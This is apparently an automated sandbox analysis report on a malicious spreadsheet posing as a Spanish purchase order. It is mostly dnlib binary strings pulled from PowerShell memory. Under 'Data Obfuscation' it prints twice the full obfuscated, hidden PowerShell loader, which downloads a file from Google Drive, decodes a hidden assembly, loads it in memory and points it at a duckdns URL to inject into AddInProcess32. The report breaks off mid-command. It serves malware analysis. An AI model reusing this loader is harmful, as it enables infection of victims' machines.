File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000009.00000002.520159401.0000000000270000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\New Private Panell Src 3.0\Microsoft.Win32.TaskScheduler Rump\obj\Release\net45\Microsoft.Win32.TaskScheduler.pdbSHA256 source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000009.00000002.520159401.0000000000270000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17a source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000009.00000002.520159401.0000000000270000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\New Private Panell Src 3.0\Microsoft.Win32.TaskScheduler Rump\obj\Release\net45\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp

Source: Orden de Compra No. 78986756565344657.xlam.xlsx

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 